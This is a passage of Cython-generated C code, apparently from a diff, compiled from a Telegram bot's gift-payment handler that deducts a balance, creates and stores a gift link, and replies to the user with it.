callback_query.answer(" . .", show_alert=True) + * return # <<<<<<<<<<<<<< + * + * try: + */ + __Pyx_XDECREF(__pyx_r); + __pyx_r = NULL; + goto __pyx_L0; + + /* "handlers/payments/gift.py":144 + * tg_id = callback_query.from_user.id + * + * if not price: # <<<<<<<<<<<<<< + * await callback_query.answer(" . .", show_alert=True) + * return + */ + } + + /* "handlers/payments/gift.py":148 + * return + * + * try: # <<<<<<<<<<<<<< + * await update_balance(tg_id, -price) + * + */ + { + __Pyx_ExceptionSave(&__pyx_t_7, &__pyx_t_8, &__pyx_t_9); + __Pyx_XGOTREF(__pyx_t_7); + __Pyx_XGOTREF(__pyx_t_8); + __Pyx_XGOTREF(__pyx_t_9); + /*try:*/ { + + /* "handlers/payments/gift.py":149 + * + * try: + * await update_balance(tg_id, -price) # <<<<<<<<<<<<<< + * + * expiry_time = datetime.utcnow() + timedelta(days=int(selected_months) * 30) + */ + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_update_balance); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 149, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_2 = PyNumber_Negative(__pyx_cur_scope->__pyx_v_price); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 149, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_10 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_3))) { + __pyx_t_10 = PyMethod_GET_SELF(__pyx_t_3); + if (likely(__pyx_t_10)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); + __Pyx_INCREF(__pyx_t_10); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_3, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[3] = {__pyx_t_10, __pyx_cur_scope->__pyx_v_tg_id, __pyx_t_2}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_4, 2+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_10); __pyx_t_10 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 149, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_1); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_t_7); + __pyx_cur_scope->__pyx_t_0 = __pyx_t_7; + __Pyx_XGIVEREF(__pyx_t_8); + __pyx_cur_scope->__pyx_t_1 = __pyx_t_8; + __Pyx_XGIVEREF(__pyx_t_9); + __pyx_cur_scope->__pyx_t_2 = __pyx_t_9; + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 2; + return __pyx_r; + __pyx_L12_resume_from_await:; + __pyx_t_7 = __pyx_cur_scope->__pyx_t_0; + __pyx_cur_scope->__pyx_t_0 = 0; + __Pyx_XGOTREF(__pyx_t_7); + __pyx_t_8 = __pyx_cur_scope->__pyx_t_1; + __pyx_cur_scope->__pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_t_8); + __pyx_t_9 = __pyx_cur_scope->__pyx_t_2; + __pyx_cur_scope->__pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_t_9); + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 149, __pyx_L6_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 149, __pyx_L6_error) + } + } + + /* "handlers/payments/gift.py":151 + * await update_balance(tg_id, -price) + * + * expiry_time = datetime.utcnow() + timedelta(days=int(selected_months) * 30) # <<<<<<<<<<<<<< + * + * gift_id = f"{uuid.uuid4().hex}" + */ + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_datetime); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 151, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_utcnow); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 151, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_2))) { + __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_2); + if (likely(__pyx_t_3)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); + __Pyx_INCREF(__pyx_t_3); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_2, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_3, NULL}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 151, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + } + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_timedelta); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 151, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_3 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 151, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_10 = __Pyx_PyNumber_Int(__pyx_cur_scope->__pyx_v_selected_months); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 151, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_10); + __pyx_t_11 = __Pyx_PyInt_MultiplyObjC(__pyx_t_10, __pyx_int_30, 30, 0, 0); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 151, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_days, __pyx_t_11) < 0) __PYX_ERR(0, 151, __pyx_L6_error) + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __pyx_t_11 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_empty_tuple, __pyx_t_3); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 151, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = PyNumber_Add(__pyx_t_1, __pyx_t_11); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 151, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_GIVEREF(__pyx_t_3); + __pyx_cur_scope->__pyx_v_expiry_time = __pyx_t_3; + __pyx_t_3 = 0; + + /* "handlers/payments/gift.py":153 + * expiry_time = datetime.utcnow() + timedelta(days=int(selected_months) * 30) + * + * gift_id = f"{uuid.uuid4().hex}" # <<<<<<<<<<<<<< + * + * gift_link = get_gift_link(tg_id, gift_id) + */ + __Pyx_GetModuleGlobalName(__pyx_t_11, __pyx_n_s_uuid); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 153, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_11); + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_11, __pyx_n_s_uuid4); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 153, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __pyx_t_11 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_1))) { + __pyx_t_11 = PyMethod_GET_SELF(__pyx_t_1); + if (likely(__pyx_t_11)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); + __Pyx_INCREF(__pyx_t_11); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_1, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_11, NULL}; + __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 153, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + } + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_hex); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 153, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PyObject_FormatSimple(__pyx_t_1, __pyx_empty_unicode); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 153, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_GIVEREF(__pyx_t_3); + __pyx_cur_scope->__pyx_v_gift_id = ((PyObject*)__pyx_t_3); + __pyx_t_3 = 0; + + /* "handlers/payments/gift.py":155 + * gift_id = f"{uuid.uuid4().hex}" + * + * gift_link = get_gift_link(tg_id, gift_id) # <<<<<<<<<<<<<< + * + * await store_gift_link(gift_id, tg_id, int(selected_months), expiry_time, gift_link, session) + */ + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_get_gift_link); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 155, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_11 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_1))) { + __pyx_t_11 = PyMethod_GET_SELF(__pyx_t_1); + if (likely(__pyx_t_11)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); + __Pyx_INCREF(__pyx_t_11); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_1, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[3] = {__pyx_t_11, __pyx_cur_scope->__pyx_v_tg_id, __pyx_cur_scope->__pyx_v_gift_id}; + __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_4, 2+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 155, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + } + __Pyx_GIVEREF(__pyx_t_3); + __pyx_cur_scope->__pyx_v_gift_link = __pyx_t_3; + __pyx_t_3 = 0; + + /* "handlers/payments/gift.py":157 + * gift_link = get_gift_link(tg_id, gift_id) + * + * await store_gift_link(gift_id, tg_id, int(selected_months), expiry_time, gift_link, session) # <<<<<<<<<<<<<< + * + * builder = InlineKeyboardBuilder() + */ + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_store_gift_link); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 157, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_11 = __Pyx_PyNumber_Int(__pyx_cur_scope->__pyx_v_selected_months); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 157, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_11); + __pyx_t_2 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_1))) { + __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_1); + if (likely(__pyx_t_2)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); + __Pyx_INCREF(__pyx_t_2); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_1, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[7] = {__pyx_t_2, __pyx_cur_scope->__pyx_v_gift_id, __pyx_cur_scope->__pyx_v_tg_id, __pyx_t_11, __pyx_cur_scope->__pyx_v_expiry_time, __pyx_cur_scope->__pyx_v_gift_link, __pyx_cur_scope->__pyx_v_session}; + __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_4, 6+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 157, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_3); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_t_7); + __pyx_cur_scope->__pyx_t_0 = __pyx_t_7; + __Pyx_XGIVEREF(__pyx_t_8); + __pyx_cur_scope->__pyx_t_1 = __pyx_t_8; + __Pyx_XGIVEREF(__pyx_t_9); + __pyx_cur_scope->__pyx_t_2 = __pyx_t_9; + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 3; + return __pyx_r; + __pyx_L13_resume_from_await:; + __pyx_t_7 = __pyx_cur_scope->__pyx_t_0; + __pyx_cur_scope->__pyx_t_0 = 0; + __Pyx_XGOTREF(__pyx_t_7); + __pyx_t_8 = __pyx_cur_scope->__pyx_t_1; + __pyx_cur_scope->__pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_t_8); + __pyx_t_9 = __pyx_cur_scope->__pyx_t_2; + __pyx_cur_scope->__pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_t_9); + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 157, __pyx_L6_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 157, __pyx_L6_error) + } + } + + /* "handlers/payments/gift.py":159 + * await store_gift_link(gift_id, tg_id, int(selected_months), expiry_time, gift_link, session) + * + * builder = InlineKeyboardBuilder() # <<<<<<<<<<<<<< + * builder.row(types.InlineKeyboardButton(text=" ", callback_data="profile")) + * + */ + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_InlineKeyboardBuilder); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 159, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_11 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_1))) { + __pyx_t_11 = PyMethod_GET_SELF(__pyx_t_1); + if (likely(__pyx_t_11)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); + __Pyx_INCREF(__pyx_t_11); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_1, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_11, NULL}; + __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 159, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + } + __Pyx_GIVEREF(__pyx_t_3); + __pyx_cur_scope->__pyx_v_builder = __pyx_t_3; + __pyx_t_3 = 0; + + /* "handlers/payments/gift.py":160 + * + * builder = InlineKeyboardBuilder() + * builder.row(types.InlineKeyboardButton(text=" ", callback_data="profile")) # <<<<<<<<<<<<<< + * + * await callback_query.message.answer( + */ + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 160, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_GetModuleGlobalName(__pyx_t_11, __pyx_n_s_types); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 160, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_11); + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_11, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 160, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __pyx_t_11 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 160, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_11); + if (PyDict_SetItem(__pyx_t_11, __pyx_n_s_text, __pyx_kp_u__4) < 0) __PYX_ERR(0, 160, __pyx_L6_error) + if (PyDict_SetItem(__pyx_t_11, __pyx_n_s_callback_data, __pyx_n_u_profile) < 0) __PYX_ERR(0, 160, __pyx_L6_error) + __pyx_t_10 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_empty_tuple, __pyx_t_11); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 160, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_10); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __pyx_t_11 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_1))) { + __pyx_t_11 = PyMethod_GET_SELF(__pyx_t_1); + if (likely(__pyx_t_11)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); + __Pyx_INCREF(__pyx_t_11); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_1, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_11, __pyx_t_10}; + __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 160, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + } + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/gift.py":162 + * builder.row(types.InlineKeyboardButton(text=" ", callback_data="profile")) + * + * await callback_query.message.answer( # <<<<<<<<<<<<<< + * text=( + * f" {selected_months} {'' if selected_months == '1' else '' if int(selected_months) in [2, 3, 4] else ''} !\n\n" + */ + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 162, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_answer); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 162, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/gift.py":163 + * + * await callback_query.message.answer( + * text=( # <<<<<<<<<<<<<< + * f" {selected_months} {'' if selected_months == '1' else '' if int(selected_months) in [2, 3, 4] else ''} !\n\n" + * f" :\n\n {gift_link}\n\n" + */ + __pyx_t_3 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 163, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_3); + + /* "handlers/payments/gift.py":164 + * await callback_query.message.answer( + * text=( + * f" {selected_months} {'' if selected_months == '1' else '' if int(selected_months) in [2, 3, 4] else ''} !\n\n" # <<<<<<<<<<<<<< + * f" :\n\n {gift_link}\n\n" + * " ." + */ + __pyx_t_10 = PyTuple_New(7); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 164, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_10); + __pyx_t_12 = 0; + __pyx_t_13 = 127; + __Pyx_INCREF(__pyx_kp_u_b_2); + __pyx_t_13 = (1114111 > __pyx_t_13) ? 1114111 : __pyx_t_13; + __pyx_t_12 += 17; + __Pyx_GIVEREF(__pyx_kp_u_b_2); + PyTuple_SET_ITEM(__pyx_t_10, 0, __pyx_kp_u_b_2); + __pyx_t_11 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_selected_months, __pyx_empty_unicode); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 164, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_11); + __pyx_t_13 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_11) > __pyx_t_13) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_11) : __pyx_t_13; + __pyx_t_12 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_11); + __Pyx_GIVEREF(__pyx_t_11); + PyTuple_SET_ITEM(__pyx_t_10, 1, __pyx_t_11); + __pyx_t_11 = 0; + __Pyx_INCREF(__pyx_kp_u__13); + __pyx_t_12 += 1; + __Pyx_GIVEREF(__pyx_kp_u__13); + PyTuple_SET_ITEM(__pyx_t_10, 2, __pyx_kp_u__13); + __pyx_t_6 = (__Pyx_PyUnicode_Equals(__pyx_cur_scope->__pyx_v_selected_months, __pyx_kp_u_1, Py_EQ)); if (unlikely((__pyx_t_6 < 0))) __PYX_ERR(0, 164, __pyx_L6_error) + if (__pyx_t_6) { + __Pyx_INCREF(__pyx_n_u__14); + __pyx_t_11 = __pyx_n_u__14; + } else { + __pyx_t_14 = __Pyx_PyNumber_Int(__pyx_cur_scope->__pyx_v_selected_months); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 164, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_14); + __pyx_t_15 = (__Pyx_PyInt_BoolEqObjC(__pyx_t_14, __pyx_int_2, 2, 0)); if (unlikely((__pyx_t_15 < 0))) __PYX_ERR(0, 164, __pyx_L6_error) + if (!__pyx_t_15) { + } else { + __pyx_t_5 = __pyx_t_15; + goto __pyx_L14_bool_binop_done; + } + __pyx_t_15 = (__Pyx_PyInt_BoolEqObjC(__pyx_t_14, __pyx_int_3, 3, 0)); if (unlikely((__pyx_t_15 < 0))) __PYX_ERR(0, 164, __pyx_L6_error) + if (!__pyx_t_15) { + } else { + __pyx_t_5 = __pyx_t_15; + goto __pyx_L14_bool_binop_done; + } + __pyx_t_15 = (__Pyx_PyInt_BoolEqObjC(__pyx_t_14, __pyx_int_4, 4, 0)); if (unlikely((__pyx_t_15 < 0))) __PYX_ERR(0, 164, __pyx_L6_error) + __pyx_t_5 = __pyx_t_15; + __pyx_L14_bool_binop_done:; + __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; + __pyx_t_15 = __pyx_t_5; + if (__pyx_t_15) { + __Pyx_INCREF(__pyx_n_u__15); + __pyx_t_2 = __pyx_n_u__15; + } else { + __Pyx_INCREF(__pyx_n_u__16); + __pyx_t_2 = __pyx_n_u__16; + } + __pyx_t_11 = __pyx_t_2; + __pyx_t_2 = 0; + } + __pyx_t_2 = __Pyx_PyUnicode_Unicode(__pyx_t_11); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 164, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __pyx_t_13 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_2) > __pyx_t_13) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_2) : __pyx_t_13; + __pyx_t_12 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_2); + __Pyx_GIVEREF(__pyx_t_2); + PyTuple_SET_ITEM(__pyx_t_10, 3, __pyx_t_2); + __pyx_t_2 = 0; + __Pyx_INCREF(__pyx_kp_u_b_code); + __pyx_t_13 = (1114111 > __pyx_t_13) ? 1114111 : __pyx_t_13; + __pyx_t_12 += 65; + __Pyx_GIVEREF(__pyx_kp_u_b_code); + PyTuple_SET_ITEM(__pyx_t_10, 4, __pyx_kp_u_b_code); + + /* "handlers/payments/gift.py":165 + * text=( + * f" {selected_months} {'' if selected_months == '1' else '' if int(selected_months) in [2, 3, 4] else ''} !\n\n" + * f" :\n\n {gift_link}\n\n" # <<<<<<<<<<<<<< + * " ." + * ), + */ + __pyx_t_2 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_gift_link, __pyx_empty_unicode); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 165, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_13 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_2) > __pyx_t_13) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_2) : __pyx_t_13; + __pyx_t_12 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_2); + __Pyx_GIVEREF(__pyx_t_2); + PyTuple_SET_ITEM(__pyx_t_10, 5, __pyx_t_2); + __pyx_t_2 = 0; + __Pyx_INCREF(__pyx_kp_u_code); + __pyx_t_13 = (65535 > __pyx_t_13) ? 65535 : __pyx_t_13; + __pyx_t_12 += 51; + __Pyx_GIVEREF(__pyx_kp_u_code); + PyTuple_SET_ITEM(__pyx_t_10, 6, __pyx_kp_u_code); + + /* "handlers/payments/gift.py":164 + * await callback_query.message.answer( + * text=( + * f" {selected_months} {'' if selected_months == '1' else '' if int(selected_months) in [2, 3, 4] else ''} !\n\n" # <<<<<<<<<<<<<< + * f" :\n\n {gift_link}\n\n" + * " ." + */ + __pyx_t_2 = __Pyx_PyUnicode_Join(__pyx_t_10, 7, __pyx_t_12, __pyx_t_13); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 164, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_text, __pyx_t_2) < 0) __PYX_ERR(0, 163, __pyx_L6_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/gift.py":168 + * " ." + * ), + * reply_markup=builder.as_markup(), # <<<<<<<<<<<<<< + * ) + * except Exception as e: + */ + __pyx_t_10 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_as_markup); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 168, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_10); + __pyx_t_11 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_10))) { + __pyx_t_11 = PyMethod_GET_SELF(__pyx_t_10); + if (likely(__pyx_t_11)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_10); + __Pyx_INCREF(__pyx_t_11); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_10, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_11, NULL}; + __pyx_t_2 = __Pyx_PyObject_FastCall(__pyx_t_10, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; + if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 168, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; + } + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_reply_markup, __pyx_t_2) < 0) __PYX_ERR(0, 163, __pyx_L6_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/gift.py":162 + * builder.row(types.InlineKeyboardButton(text=" ", callback_data="profile")) + * + * await callback_query.message.answer( # <<<<<<<<<<<<<< + * text=( + * f" {selected_months} {'' if selected_months == '1' else '' if int(selected_months) in [2, 3, 4] else ''} !\n\n" + */ + __pyx_t_2 = 